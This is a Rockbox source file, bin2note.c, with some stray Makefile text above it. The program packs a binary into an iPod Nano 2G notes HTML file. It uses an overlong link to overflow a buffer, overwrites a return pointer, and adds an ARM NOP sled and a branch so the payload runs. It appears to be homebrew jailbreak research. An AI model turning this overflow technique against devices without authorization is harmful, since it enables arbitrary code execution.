summaryrefslogtreecommitdiff
path: root/utils/ipod/bin2note/bin2note.c
blob: 5100039962a75e4ae4774f6053877f52cea13d1e (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#             __________               __   ___.
#   Open      \______   \ ____   ____ |  | _\_ |__   _______  ___
#   Source     |       _//  _ \_/ ___\|  |/ /| __ \ /  _ \  \/  /
#   Jukebox    |    |   (  <_> )  \___|    < | \_\ (  <_> > <  <
#   Firmware   |____|_  /\____/ \___  >__|_ \|___  /\____/__/\_ \
#                     \/            \/     \/    \/            \/
# $Id$
#

all: flashsplit

flashsplit: flashsplit.c
	gcc -W -Wall -o flashsplit flashsplit.c

clean:
	rm -f flashsplit
a> 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180
/***************************************************************************
 *             __________               __   ___.
 *   Open      \______   \ ____   ____ |  | _\_ |__   _______  ___
 *   Source     |       _//  _ \_/ ___\|  |/ /| __ \ /  _ \  \/  /
 *   Jukebox    |    |   (  <_> )  \___|    < | \_\ (  <_> > <  <
 *   Firmware   |____|_  /\____/ \___  >__|_ \|___  /\____/__/\_ \
 *                     \/            \/     \/    \/            \/
 * $Id$
 *
 * bin2note - a program to insert binary code in an iPod Nano 2nd
 *            Generation notes file
 *
 * Based on research by stooo, TheSeven and others.
 *
 * Copyright (C) 2009 Dave Chapman
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
 * KIND, either express or implied.
 *
 ****************************************************************************/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>

#ifndef O_BINARY
#define O_BINARY 0
#endif

static off_t filesize(int fd)
{
    struct stat buf;

    fstat(fd,&buf);
    return buf.st_size;
}

void write_utf16le(unsigned char* buf, int len, FILE* fp)
{
    int i;
    char tmp[2];

    tmp[1] = 0;

    for (i=0;i<len;i++) {
       tmp[0] = buf[i];
       fwrite(tmp, 1, sizeof(tmp), fp);
    }
}

void insert_link(unsigned char* buf, uint32_t pointer)
{
   char link[] = "<a href=\"AAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAAAAA"
                 "AAAAAAAAAAAAA%xx"
                 "%xx%xx%xx\"></a>";
    char tmp[32];
    unsigned int i;

    sprintf(tmp, "%%%02x%%%02x%%%02x%%%02x",
                 pointer & 0xff,
                 (pointer >> 8) & 0xff,
                 (pointer >> 16) & 0xff,
                 (pointer >> 24) & 0xff);

    memcpy(link + 0x11d, tmp, 12);

    /* UTF-16 little-endian BOM */
    buf[0] = 0xff;
    buf[1] = 0xfe;

    /* UTF-16 little-endian URL */
    for (i=0;i<strlen(link);i++) {
       buf[i*2+2] = link[i];
       buf[i*2+3] = 0;
    }
}

#define MAX_NOTES_SIZE 4096
#define MAX_PAYLOAD_SIZE (MAX_NOTES_SIZE - 0x260 - 4)

int main (int argc, char* argv[])
{
    char* infile;
    char* htmname;
    int fdin,fdout;
    unsigned char buf[MAX_NOTES_SIZE];
    int len;
    int n;
    int i;

    if (argc != 3) {
        fprintf(stderr,"Usage: bin2note file.bin file.htm\n");
        return 1;
    }

    infile=argv[1];
    htmname=argv[2];

    fdin = open(infile,O_RDONLY|O_BINARY);
    if (fdin < 0) {
        fprintf(stderr,"Can not open %s\n",infile);
        return 1;
    }

    len = filesize(fdin);

    if (len > MAX_PAYLOAD_SIZE) {
        fprintf(stderr,"Payload too big!\n");
        close(fdin);
        return 1;
    }

    /* **** Input file is OK, now build the note **** */
    
    /* Insert URL at start of note */
    insert_link(buf, 0x08640568);

    /* Load code at offset 0x260 */
    n = read(fdin,buf + 0x260,len);
    if (n < len) {
        fprintf(stderr,"Short read, aborting\n");
        return 1;
    }
    close(fdin);

    /* Fill the remaining buffer with NOPs (mov r1,r1) - 0xe1a01001 */
    for (i=0x260 + len; i < MAX_NOTES_SIZE-4; i+=4) {
        buf[i] = 0x01;
        buf[i+1] = 0x10;
        buf[i+2] = 0xa0;
        buf[i+3] = 0xe1;
    }

    /* Finally append a branch back to our code - 0x260 in the note */
    buf[MAX_NOTES_SIZE-4] = 0x97;
    buf[MAX_NOTES_SIZE-3] = 0xfc;
    buf[MAX_NOTES_SIZE-2] = 0xff;
    buf[MAX_NOTES_SIZE-1] = 0xea;

    fdout = open(htmname, O_CREAT|O_TRUNC|O_BINARY|O_WRONLY, 0666);
    if (fdout < 0) {
        fprintf(stderr,"Could not open output file\n");
        return 1;
    }

    if (write(fdout, buf, sizeof(buf)) != sizeof(buf)) {
        fprintf(stderr,"Error writing output file\n");
        close(fdout);
        return 1;
    }

    close(fdout);
    return 0;
}